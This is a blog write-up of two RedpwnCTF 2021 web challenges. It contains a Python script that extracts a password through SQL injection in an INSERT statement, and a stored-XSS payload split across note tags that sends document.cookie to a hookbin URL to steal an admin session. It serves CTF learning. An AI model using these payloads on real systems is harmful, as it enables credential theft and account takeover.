RedpwnCTF 2021


Here, you can find write-ups of few interesting challenges from my solves in RedpwnCTF 2021.

Cool


TL;DR

  • The application allows users to register.
  • The register funtionality is vulnerable to SQL injection.
  • In this case, SQLi is inside the INSERT statement.
  • Retriving data is non-trivial and time consuming using this type of SQLi.
  • The goal is to retrive the admin’s password.
  • And we get the flag


Looking into website we have a registration page -

On registering with an arbitary account and logging in would display the following message

The source code for the website is given. Take a look at it -

from flask import (
    Flask,
    request,
    render_template_string,
    session,
    redirect,
    send_file
)
from random import SystemRandom
import sqlite3
import os

app = Flask(__name__)
app.secret_key = 'IS_THIS_VULN'

rand = SystemRandom()

allowed_characters = set(
    'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789'
)

def execute(query):
    con = sqlite3.connect('db/db.sqlite3')
    cur = con.cursor()
    cur.execute(query)
    con.commit()
    return cur.fetchall()


def generate_token():
    
    tok = ''.join(
        rand.choice(list(allowed_characters)) for _ in range(32)
    )
    print(tok)
    return tok


def create_user(username, password):
    print(username)
    if any(c not in allowed_characters for c in username):
        return (False, 'Alphanumeric usernames only, please.')
    if len(username) < 1:
        return (False, 'Username is too short.')
    if len(password) > 50:
        return (False, 'Password is too long.')
    other_users = execute(
        f'SELECT * FROM users WHERE username=\'{username}\';'
    )
    if len(other_users) > 0:
        return (False, 'Username taken.')
    execute(
        'INSERT INTO users (username, password)'
        f'VALUES (\'{username}\', \'{password}\');'
    )
    return (True, '')


def check_login(username, password):

    if any(c not in allowed_characters for c in username):
        return False
    correct_password = execute(
        f'SELECT password FROM users WHERE username=\'{username}\';'
    )
    if len(correct_password) < 1:
        return False
    print(correct_password)
    return correct_password[0][0] == password


@app.route('/', methods=['GET', 'POST'])
def login():
    error = ''
    if request.method == 'POST':
        valid_login = check_login(
            request.form['username'],
            request.form['password']
        )
        if valid_login:
            session['username'] = request.form['username']
            return redirect('/message')
        error = 'Incorrect username or password.'
    if 'username' in session:
        return redirect('/message')
    return render_template_string('''
        <link rel="stylesheet" href="/static/style.css" />
        <div class="container">
            <p>Log in to see Aaron's message!</p>
            <form method="POST">
                <label for="username">Username</label>
                <input type="text" name="username" />
                <label for="password">Password</label>
                <input type="password" name="password" />
                <input type="submit" value="Log In" />
            </form>
            <p></p>
            <a href="/register">Register</a>
        <div class="container">
    ''', error=error)


@app.route('/register', methods=['GET', 'POST'])
def register():
    message = ''
    if request.method == 'POST':
        success, message = create_user(
            request.form['username'],
            request.form['password']
        )
        if success:
            session['username'] = request.form['username']
            return redirect('/message')
    return render_template_string('''
        <link rel="stylesheet" href="/static/style.css" />
        <div class="container">
            <p>Register!</p>
            <form method="POST">
                <label for="username">Username</label>
                <input type="text" name="username" />
                <label for="password">Password</label>
                <input type="password" name="password" />
                <input type="submit" value="Register" />
            </form>
            <p></p>
        </div>
    ''', error=message)


@app.route('/message')
def message():
    if 'username' not in session:
        return redirect('/')
    if session['username'] == 'ginkoid':
        return send_file(
            'flag.mp3',
            attachment_filename='flag-at-end-of-file.mp3'
        )
    return '''
        <link rel="stylesheet" href="/static/style.css" />
            <div class="container">
            <p>You are logged in!</p>
            <p>Unfortunately, Aaron's message is for cool people only.</p>
            <p>(like ginkoid)</p>
            <a href="/logout">Log out</a>
        </div>
    '''


@app.route('/logout')
def logout():
    if 'username' not in session:
        return redirect('/')
    del session['username']
    return redirect('/')


def init():
    # this is terrible but who cares
    execute('''
        CREATE TABLE IF NOT EXISTS users (
            username TEXT PRIMARY KEY,
            password TEXT
        );
    ''')
    execute('DROP TABLE users;')
    execute('''
        CREATE TABLE users (
            username TEXT PRIMARY KEY,
            password TEXT
        );
    ''')

    # put ginkoid into db
    ginkoid_password = generate_token()
    execute(
        'INSERT OR IGNORE INTO users (username, password)'
        f'VALUES (\'ginkoid\', \'{ginkoid_password}\');'
    )
    execute(
        f'UPDATE users SET password=\'{ginkoid_password}\''
        f'WHERE username=\'ginkoid\';'
    )

    app.run(debug=True)

init()

Looking at the source code above carefully, we can find that [INSERT INTO] statement in create_user. The username is whitelisted for allowed characters but not the password field. Additionally password must be less than 50 chars long.

To retrive the data using this injection is not so easy because -

  • The execute funtion cannot execute multiple statements.
  • And INSERT statement cannot be combined with other statements easily, to retrive data.

Work around

So to exploit this situation, we must use something with INSERT statement.

Let’s first take a look at injection -

INSERT INTO users (username, password) values ('username', '[INJECTION POINT]');

We just need to break out of SQL syntax by injecting foo’)– in password field -

INSERT INTO users (username, password) values ('foo', 'foo')--');

With this we can confirm the SQLi, checking if user with those creds created.

So now we need to retrive the password of ginkoid to login and get the flag.

Solution

The strategy to get the password -

  • SELECT statement can be used with INSERT statement
  • So we can select the fisrt character of ginkoids’s password
  • Use that single char as password for new account.
  • As the ginkoid’s password lies in allowed characters, we can bruteforce the character by logging into the new account.
  • Once logged in, the character is noted as first char of ginkoid’s password
  • We repeat the same process 32 times to get each char of password at one time

The basic injection to get first character of ginkoid’s password and stores as new account’s password -

INSERT INTO users (username, password) values ('new1', ''||(substr((select password from users),1,1)))--');

Consider the above payload -

  • SELECT password [FROM] users would give the first user’s password. This is used to reduce the payload size.
  • Here, substr is used to select a single char of password.
  • || operator is used to concatenate the character with an empty string
  • -- is used to comment out the rest of the statement to get valid syntax

To automate this, i have used the following python script -

import requests

url = "https://cool.mc.ax"
allowed_characters = set(
    'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789'
) 
name = "loo"


def exploit():
  password = ""
  for i in range(1, 33):

    payload = {
      "username": "{}{}".format(name, i),
      "password": "'||(substr((select password from users),{},1)))--".format(i)
    }

    if i in [10, 20, 30]:
      pos = int(str(i)[0])
      payload = {
        "username": "{}{}".format("foomids", pos),
        "password": "'||(substr((select password from users),{},1)))--".format(i)
      }

    res = requests.post(url+'/register', data=payload)
    # print("[+] Registered a user. Payload: ", payload)

    for c in allowed_characters:
      payload = {
        "username": "{}{}".format(name,i),
        "password": "{}".format(c)
      }

      if i in [10, 20, 30]:
        pos = int(str(i)[0])
        payload = {
          "username": "{}{}".format("foomids",pos),
          "password": "{}".format(c)
        }

      # print(payload)
      res = requests.post(url, data=payload)
    
      if len(res.text) < 600:
        password += c
        print(password) 
        break

    else:
      print("Not found at position: {}".format(i))
      password += '_'
      print(password)


exploit()

Run the above script to get the password. Password randomly changes after every restart. Here is the output password generated by the exploit code -

Login to ginkoid account and you will get an mp3 file with flag.

flag-at-end-of-file.mp3

Run the following command to get the flag -

tail -1 flag-at-end-of-file.mp3

Flag

flag{44r0n_s4ys_s08r137y_1s_c00l}



Notes


TL;DR

  • The application has a funtionality to store notes
  • Each note has two sections, a body and a tag
  • The body is the text section of note and tag can be public or private
  • The challange invovled exploiting a stored XSS vulnerability in the tag parameter
  • But the payload is constrained to 10 charachters
  • As we could store many notes, crafting a valid XSS payload using more than one note worked.
  • Application has an admin who has permission of viewing all notes.
  • Admin has also stored the FLAG as his private note.
  • So send a crafted link to admin which triggers the stored XSS and gets his cookie
  • We login as admin and get the flag.


Solution

Lets take a look at the website.

The application allows users to have an account. User can register and login.

The website has a funtionality to take notes. Each note is associated with a body which is the actual content and a tag which can be public or private. Public notes can be viewed by all the users, while private notes can only be viewed by the user who creates it.

Notes are stored and can be viewed later on.

Where is the vulnerablity ?

Source code for the website is given. Interesting parts of the source code are shown below.

const template = document.querySelector('#note-template').innerHTML;
const container = document.querySelector('.container');
const user = new URL(window.location).pathname.split('/')[2];

const populateTemplate = (template, params) =>
  template.replace(/\{\{\s?(.+?)\s?\}\}/g, (match, param) => params[param]);

(async () => {
  const request = await fetch(`/api/notes/${user}`);
  const notes = await request.json();

  const renderedNotes = [];
  for (const note of notes) {
    // this one is controlled by user, so prevent xss
    const body = note.body
      .replaceAll('<', '&lt;')
      .replaceAll('>', '&gt;')
      .replaceAll('"', '&quot;')
      .replaceAll('\'', '&#39;');
    // this one isn't, but make sure it fits on page
    const tag = note.tag.length > 10 ? note.tag.substring(0, 7) + '...' : note.tag;
    // render templates and put them in our array
    const rendered = populateTemplate(template, { body, tag });
    renderedNotes.push(rendered);
  }

  container.innerHTML += renderedNotes.join('');
})();

The above code takes the user-controlled parameters and adds them to HTML template. The special characters which can lead to XSS are encoded in the body parameter. So XSS is not possible in this context.

But wait, is the tag parameter filtered? Oh, it’s not!!

On looking into the website one might think that the tag can only be public or private, but it can simply be modified to anything using a HTTP proxy like Burp. So, we have a user-controlled parameter which is not filtered and added to HTML. This is enough to get stored XSS (As the notes were being stored in the application).

But this is not the big part of the challenge.

The tag paramenter can only be 10 characters long. It would be stripped if it’s more than that. And this is a serious issue.

How to trigger XSS?

I slowly started thinking about bypassing the length check to trigger XSS.

The tag parameter was sent as a string. So modifying it to an array would make it’s length equal to lenght of the array. Irrespective of length of string in the array, length of array would remain 1, thus bypassing the check.

But this didn’t work as the parameter was strictly checked for string type. Tried modifying the content-type
from application/json to application/x-www-form-urlencoded hoping for bypass. But again it strictly checks for json.

Here is the schema used for validation in the source code -

fastify.post(
'/notes',
{
  schema: {
    body: {
      type: 'object',
      properties: {
        body: { type: 'string' },
        tag: { type: 'string' },
      },
      required: ['body', 'tag'],
    },
  },
},
(req) => {
  if (!req.auth.login) throw error('Not logged in!', 401);
  if (req.auth.username === 'admin')
    throw error('No admin notes please!', 400);
  db.addNote(req.auth.username, {
    body: req.body.body,
    tag: req.body.tag,
  });
  return {};
}
);

Wait.. May be we can split a XSS payload and store each part in a tag of separate notes. Ofcourse we should make sure that all the parts form a valid XSS payload.

Lets try sending the following payload

<script>alert(1)</script>

We must also make sure to comment the extra HTML added by the template. As only 10 characters are allowed in a tag, the payload can be sent in following way -

Request 1:

data = {
    "body": "foo",
    "tag": "<script>/*"
}

Request 2:

data = {
    "body": "*/alert(1)/*",
    "tag": "*/"
}

Yayy!! We got a perfect script tag with an alert in it.

The extra HTML added by the template is ignored using javascript comments. But wait, alert hasn’t popped up?? Why is that so? I still don’t understand why it’s not working. If any one did please let me know :)

Solution

But as a work around i tried to inject an image tag. Payload would be similar to -

<img src=1 onerror=alert(1)>

This is not an easy task. Because between every two notes HTML is being added by the template. And we should somehow make our payload to ignore that HTML and trigger the XSS.

In the previous payload we used javascript comments. But as the current context is inside an image tag. So we can’t use comments here.

One way around is making the unwanted HTML as the value of an attribure. After several tries, below payload i used looked a bit promising -

<img x='Unwanted HTML here goes here' src=1 onerror='alert(1)/*Unwanted HTML here goes here*/'>

The x is a fake attribute. Here, it is used to make the payload ignore unwanted HTML.

The above payload can be sent in the following way -

Request 1:

data = {
    "body": "foo",
    "tag": "<img x='"
}

Request 2:

data = {
    "body": "' src=1 onerror='alert(1)/*",
    "tag": "*/'>"
}

But unfortunately, still there was not alert popup.. :( I have took a look into response i got-

I have made a mistake in the payload. I was not able to notice that during the CTF. By that time, three hours left for CTF to end, i felt overwhelemed and finally gave up on it. :(

Looking for solution, I found this in the discord.

By @Triacontakai

I felt bad for not trying enough. My payload was close.

In my payload, the sigle quotes inserted are being parsed in the context of the attribute x. So all the payload inserted is being added as the value of x instead of breaking out.

In the correct solution the one additional tag is used. It first breaks the a attribute and opens onload attribute. Doing this way, it worked. But why is this happening?? It’s all about understanding weird HTML parsing. To modify my payload in a similar way have complications coz of onerror is long attribute. So ignoring the unwanted HTML is hard.

So im gonna stick with above style payload. It uses onload to execute the javascript. It fits exactly. Also to execute arbitrary JS code, it uses eval along with atob, to decode a base64 string and run the code we provide. This is usefull bypassing the encoding of body parameter.

So lets try this now. I have used a python script to do this.

import requests
import base64

url = "https://notes.mc.ax"
hookurl = "https://hookb.in/zrr8VBZpwXhol3MMlLbJ" # replace with your hookbin url
code = "fetch('{}?key='+document.cookie)".format(hookurl)
encoded = base64.b64encode(code.encode()).decode()

username = "lol" # replace with random username

with requests.Session() as s:
  s.headers.update({'Content-Type': 'application/json'})
  data = {
    "username": username,
    "password": username
  }
  res = s.post(url+'/api/register', json=data)
  print("[+] Registered a user..")

  data = {
    "body": "foo",
    "tag": "<style a='"
  }

  res = s.post(url+'/api/notes', json=data)

  data = {
    "body": "foo",
    "tag": "'onload='`"
  }

  res = s.post(url+'/api/notes', json=data)

  data = {
    "body": "`;eval(atob(`{}`))/*".format(encoded),
    "tag": "*/'>"
  }

  res = s.post(url+'/api/notes', json=data)

print("Visit {}/view/{} to trigger stored XSS".format(url, username))
print("Payload generated. Visit {} for cookie".format(hookurl))

To trigger the XSS, view the user’s posts.

Okay XSS part is done. Now we need to leverage this to get admin’s cookie.

I have to mention one more important point here. Admin can view all the notes of any user regardless of public or private. If this functionality is absent, the stored XSS, we found would have been a self XSS. This is because, we are modifing the tag itself to trigger the XSS.

The source code responsible for this is mentioned below -

fastify.get('/notes/:username', (req) => {
  const notes = db.getNotes(req.params.username);
  if (req.params.username === req.auth.username) return notes;
  if (req.auth.username === 'admin') return notes; // if admin return all the notes
  return notes.filter((note) => note.tag === 'public');
});

So we could make the admin bot to view our notes by providing the link to trigger the XSS. Thus, the XSS would deliver us the admin’s cookie once the admin bot visits the link.

Here is the cookie i got in my hookbin -

Now just use the cookie to be the admin. Look at private posts of admin.

And yeah, we have the flag

Flag

flag{w0w_4n07h3r_60lf1n6_ch4ll3n63}


Takeaways

  • Look at all the parameters to check if they are injecteble.
  • Try exploiting the vulnerablity in different ways to get more impact.
  • Try testing every input parameter for XSS.
  • The way HTML parsing is done results in lot of bypasses. Keep an eye.
  • Take time to try different payloads. Gradually that will unlock the things.



Happy Hacking!



Feel free to provide feedback.